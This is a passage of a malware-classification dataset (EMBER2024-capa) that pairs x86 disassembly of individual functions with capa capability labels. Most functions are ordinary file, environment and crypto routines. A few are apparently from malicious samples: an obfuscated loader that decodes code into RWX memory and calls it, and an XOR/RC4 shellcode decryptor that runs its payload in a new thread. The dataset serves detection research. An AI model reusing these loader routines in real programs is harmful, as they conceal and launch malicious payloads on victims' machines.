joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431070
Capabilities:
Resolve dns

Disassembly:
mov eax, 4
call fcn.004466f0
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edi
or ebx, 0xffffffff
mov esi, 0x462148
mov eax, dword [esi]
cmp ebx, eax
jbe 0x43109c
mov ebx, eax
mov dword [esp + 0x10], edi
test eax, eax
jbe 0x4310ba
push 0x80
lea eax, [esi - 0x90]
push eax
push ebp
call dword [sym.imp.MSVCR90.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x4310c9
add esi, 0x94
inc edi
cmp esi, 0x462398
jl 0x431090
cmp edi, 4
jne 0x431167
inc dword [0x4624b0]
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4310e9
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov ecx, ebp
lea esi, [ecx + 1]
mov edi, edi
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4310f0
sub ecx, esi
cmp ecx, 0x80
jae 0x431190
mov edx, dword [esp + 0x10]
imul edx, edx, 0x94
lea esi, [edx + 0x4620b8]
mov ecx, ebp
sub esi, ebp
lea esp, [esp]
mov bl, byte [ecx]
mov byte [esi + ecx], bl
inc ecx
test bl, bl
jne 0x431120
mov ecx, dword [eax]
mov esi, dword [0x4624ac]
mov dword [edx + 0x462138], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 0x46213c], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 0x462140], ecx
mov ecx, dword [eax + 0xc]
mov dword [edx + 0x462144], ecx
mov ecx, dword [0x4624b0]
add esi, ecx
pop edi
mov dword [edx + 0x462148], esi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov ecx, dword [0x4624ac]
mov edx, dword [0x4624b0]
mov eax, edi
imul eax, eax, 0x94
inc ecx
mov dword [0x4624ac], ecx
add ecx, edx
mov dword [eax + 0x462148], ecx
lea eax, [eax + 0x462138]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x440ed0
Capabilities:
Query environment variable

Disassembly:
mov eax, 4
call fcn.004466f0
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov dword [esp + 0xc], 0xffffffff
test esi, esi
jne 0x440f17
mov edi, dword [sym.imp.MSVCR90.dll_getenv]
push str.OPENSSL_CONF
call edi
mov esi, eax
add esp, 4
test esi, esi
jne 0x440f17
push str.SSLEAY_CONF
call edi
mov esi, eax
add esp, 4
test esi, esi
je 0x440fff
push 0
call sub.LIBEAY32.dll_Ordinal_2279
mov edi, eax
add esp, 4
test edi, edi
je 0x440f3a
lea eax, [esp + 0xc]
push eax
push esi
push edi
call sub.LIBEAY32.dll_Ordinal_2276
add esp, 0xc
test eax, eax
jg 0x440f6e
mov eax, dword [esp + 0xc]
push esi
test eax, eax
jg 0x440f59
mov ecx, dword [0x462574]
push str.error_loading_the_config_file__s_n
push ecx
call sub.LIBEAY32.dll_Ordinal_86_1
add esp, 0xc
jmp 0x440f6e
mov edx, dword [0x462574]
push eax
push str.error_on_line__ld_of_config_file__s_n
push edx
call sub.LIBEAY32.dll_Ordinal_86_1
add esp, 0x10
test edi, edi
je 0x440ff8
mov eax, dword [0x462574]
push esi
push str.Using_configuration_from__s_n
push eax
call sub.LIBEAY32.dll_Ordinal_86_1
push str.oid_file
push 0
push edi
call sub.LIBEAY32.dll_Ordinal_2280
add esp, 0x18
test eax, eax
je 0x440fd1
push 0x448a2c
push eax
call sub.LIBEAY32.dll_Ordinal_82_1
mov esi, eax
add esp, 8
test esi, esi
jne 0x440fc0
mov ecx, dword [0x462574]
push ecx
call sub.LIBEAY32.dll_Ordinal_250
add esp, 4
jmp 0x440fd6
push esi
call sub.LIBEAY32.dll_Ordinal_997
push esi
call sub.LIBEAY32.dll_Ordinal_67
add esp, 8
jmp 0x440fd6
call sub.LIBEAY32.dll_Ordinal_222
mov edx, dword [0x462574]
push edi
push edx
call fcn.0042cd70
add esp, 8
test eax, eax
jne 0x440ff8
mov eax, dword [0x462574]
push eax
call sub.LIBEAY32.dll_Ordinal_250
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
ret
pop edi
pop esi
mov eax, ebx
pop ebx
pop ecx
ret
Function at 0x44671b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4613d0]
jne 0x446725
repz ret
jmp fcn.004469ec
Function at 0x4647e0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x464805
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x464878
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x46483a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x46486d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x46486b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x464831
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x4647fc
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x10009ee0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10009eef
pop dword [ebp - 0x2c]
mov eax, 0x10009eef
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x24199153
add dword [ebp - 0x3c], 0x2a38b3f8
mov dword [ebp - 0x38], 0x9f6d833
add dword [ebp - 0x38], 0x283c7412
mov dword [ebp - 0x34], 0xaabc26ae
sub dword [ebp - 0x34], 0x5e6fe280
mov dword [ebp - 0x30], 0xb722939e
sub dword [ebp - 0x30], 0xb722939e
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x908cf826
add dword [ebp - 0x3c], 0xe3e57130
mov dword [ebp - 0x38], 0x14c75593
add dword [ebp - 0x38], 0x2ca50be2
mov dword [ebp - 0x34], 0xd8a98ecc
add dword [ebp - 0x34], 0x8ac5dda0
mov dword [ebp - 0x30], 0xf7af3440
add dword [ebp - 0x30], 0x850cbc0
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x842ace8
sub eax, 0xf8405c6c
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x36a77
push 0
call eax
mov ecx, 0x33f3
xor ebx, ebx
add ebx, eax
mov edi, 0x964a14a4
sub edi, 0x864708a4
add edi, dword [ebp - 0x2c]
mov edx, 0xcb13d6aa
sub edx, 0xde5558cd
mov esi, dword [edi]
sub dword [ebp - 0x20], 0x4ccae06c
sub esi, edx
mov dword [ebx], esi
xor dword [ebp - 0x24], ecx
add ebx, 0x2fe57812
sub ebx, 0x2fe5780e
add edi, 0x8d802dbb
sub edi, 0x8d802db7
loop 0x1000a003
add eax, 0x9ed3c296
sub eax, 0x9ed2fff7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x1001c940
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001c9db
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001c992
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001c992
cmp esi, ebx
jge 0x1001c992
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001c9d5
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001c9d5
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e4]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e4]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001c9ed
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc
Function at 0x1001cc10
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
mov eax, dword [ebp + 8]
je 0x1001cc38
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001cc52
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10009ee0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022930
leave
ret 4

Function at 0x1001ce20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001ce56
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001ceb5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10009ee0
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10009ee0
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.10009ee0
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022930
leave
ret 0x10

Function at 0x1001ced0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001cefc
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001cf2d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001cf2b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10009ee0
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001cf2d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022930
leave
ret 8
Function at 0x40195b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42c040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0xf
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x46797c]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x40197c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x4019c2
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x40199f
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x4019ea
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x401a03
dec ebp
or ebp, 0xffffff00
inc ebp
push 0x79
call fcn.00401d5a
push eax
call fcn.00403109
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42cad0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x3aa00
jl 0x4019d9
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405c73
add esp, 0x214
ret

Function at 0x401c39
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x42c040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401e99
push 0xc
call fcn.00405c86
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00401a5b
mov esi, eax
mov ecx, dword [esi + 4]
shl ecx, 2
push ecx
call fcn.00401d5a
push eax
call fcn.00403109
mov esi, dword [esi + 4]
shl esi, 2
pop ecx
sub esi, 0x40
push esi
call dword [sym.imp.GDI32.dll_GetMapMode]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], esi
push eax
push 0x40
mov edi, 0x4ac
push edi
push 0x4674d0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [esp + 0x10], esi
xor esi, esi
mov ecx, esi
mov al, byte [ecx + 0x4674d0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x4674d0], al
inc ecx
cmp ecx, edi
jb 0x401cc2
push ecx
push ecx
call fcn.0040195b
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
push 0x42cad0
push 0x467658
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004027aa
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405c73
mov esp, ebp
pop ebp
ret
Function at 0x416730
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004165a1

Function at 0x416b2a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406a20
mov eax, dword [0x42c040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00413ab4
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x416b6c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x416cc8
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421530
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4687e8]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00417b21
mov ecx, dword [esi*4 + 0x4687e8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x416cc1
cmp eax, dword [edi + ecx + 0x24]
jne 0x416cc1
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416cc1
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417b21
add esp, 0x14
test edx, edx
jl 0x416cc1
jg 0x416c37
test eax, eax
jb 0x416cc1
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x416cc1
jl 0x416c51
cmp dword [ebp - 0x1008], eax
ja 0x416cc1
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x416c6f
test ebx, ebx
je 0x416ca8
cmp ecx, edi
jae 0x416ca8
mov al, byte [ecx]
cmp al, 0xd
jne 0x416c89
lea eax, [edi - 1]
cmp ecx, eax
jae 0x416c95
cmp byte [ecx + 1], 0xa
jne 0x416c95
inc ecx
jmp 0x416c95
movzx eax, al
movsx eax, byte [eax + 0x42c300]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x416c6f
cmp edx, ebx
jne 0x416c6f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x416cc6
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00405c73
leave
ret
Function at 0x416fbf
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4687e8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x416fff
cmp byte [ebx], 0xa
jne 0x416fff
or byte [eax + edi + 0x28], 4
jmp 0x417004
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x417102
mov al, byte [edx]
cmp al, 0x1a
je 0x4170e4
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x417033
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x417058
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x417062
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x417015
jmp 0x417102
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4170df
cmp dword [ebp - 0xc], 0
je 0x4170df
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4687e8]
test byte [eax + edi + 0x28], 0x48
je 0x4170b9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4170a4
mov byte [esi], dl
jmp 0x4170b5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4687e8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x417102
cmp byte [ebp - 1], 0xa
jne 0x4170c8
cmp esi, ebx
jne 0x4170c8
mov byte [esi], 0xa
jmp 0x417101
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00417b3f
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x417102
mov byte [esi], 0xd
jmp 0x417101
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4687e8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4170fe
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x417102
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41710b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4687e8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41714e
cmp word [esi], dx
jne 0x41714e
or byte [edi + eax + 0x28], 4
jmp 0x417153
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4172a6
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x417286
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x417195
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4171cb
cmp eax, edx
jae 0x4171d7
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41716d
jmp 0x4172a6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417282
cmp dword [ebp - 0x14], 0
je 0x417282
mov eax, dword [ebx*4 + 0x4687e8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41725a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x417223
mov word [esi], cx
jmp 0x417256
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4687e8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4687e8]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4687e8]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4172a6
pop ebx
cmp word [ebp - 4], bx
jne 0x41726b
cmp esi, dword [ebp + 0xc]
jne 0x41726b
mov word [esi], bx
jmp 0x4172a3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00417b3f
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4172a6
push 0xd
jmp 0x41729f
mov ecx, dword [ebx*4 + 0x4687e8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41729d
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4172a6
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x402b40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ecx, 0x200005
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx]
test al, al
je 0x402b78
movzx esi, al
test byte [esi + esi + 0x4312c0], 6
jne 0x402b75
sub eax, 0x2b
cmp al, 0x15
ja 0x402b9a
bt ecx, eax
jae 0x402b9a
inc edx
jmp 0x402b56
mov dword [esp], ebx
mov dword [esp + 4], 2
call fcn.00405c22
and byte [ebx + 0x50], 0xfc
mov dword [ebp + 8], ebx
add esp, 0x10
pop ebx
pop esi
pop ebp
jmp fcn.00417443
xor eax, eax
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.0041bf55
mov eax, dword [ebx + 0x14]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.00402263
test byte [ebx + 0x50], 0x40
je 0x402bd7
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0040f619
test eax, eax
jne 0x402bd7
mov al, byte [ebx + 0x50]
and eax, 0x3f
or eax, 0xffffff80
mov byte [ebx + 0x50], al
mov dword [ebp + 8], ebx
add esp, 0x10
pop ebx
pop esi
pop ebp
jmp fcn.0040f033
Function at 0x411605
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
test esi, esi
je 0x411645
mov eax, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll__read
mov edi, eax
cmp eax, 0xffffffff
jne 0x41163f
call dword [sym.imp.msvcrt.dll__errno]
cmp dword [eax], 4
je 0x411618
jmp 0x411652
test eax, eax
js 0x411652
jne 0x41164c
sub ebx, dword [ebp + 0xc]
mov edi, ebx
jmp 0x411652
sub esi, eax
add ebx, eax
jmp 0x411614
add esp, 0x1c
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4116f2
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x8c
cmp dword [0x431980], 0
jne 0x411880
xor ebx, ebx
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], str.MAKE_TMPDIR
xor esi, esi
mov dword [ebp - 0x58], str.TMPDIR
mov dword [ebp - 0x54], 0x42dadb
mov dword [ebp - 0x50], str.TEMP
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
mov ebx, dword [eax]
test ebx, ebx
je 0x411850
mov dword [esp], ebx
call sub.msvcrt.dll_getenv
mov dword [0x431980], eax
test eax, eax
je 0x411847
cmp byte [eax], 0
je 0x411847
lea eax, [ebp - 0x48]
mov dword [esp + 4], eax
mov eax, dword [0x431980]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__stati64]
cmp eax, 0xffffffff
je 0x41177f
test eax, eax
jns 0x4117fc
jmp 0x41178a
call dword [sym.imp.msvcrt.dll__errno]
cmp dword [eax], 4
je 0x41175f
mov ecx, dword [sym.imp.msvcrt.dll__errno]
mov dword [ebp - 0x74], ecx
call ecx
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll_strerror
mov dword [esp], ebx
mov edi, dword [0x431980]
mov dword [ebp - 0x70], eax
call sub.msvcrt.dll_strlen
mov dword [esp], edi
mov esi, eax
call sub.msvcrt.dll_strlen
mov ecx, dword [ebp - 0x74]
add esi, eax
call ecx
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll_strerror
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, dword [ebp - 0x70]
xor ecx, ecx
mov dword [esp + 0x10], edi
add esi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], edx
mov dword [esp + 8], str._s_value__s:__s
mov dword [esp + 4], esi
mov dword [esp], ecx
call fcn.00412148
jmp 0x411842
mov ax, word [ebp - 0x42]
mov edi, dword [0x431980]
and ax, 0xf000
cmp ax, 0x4000
je 0x411886
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [esp], edi
mov esi, eax
call sub.msvcrt.dll_strlen
xor edx, edx
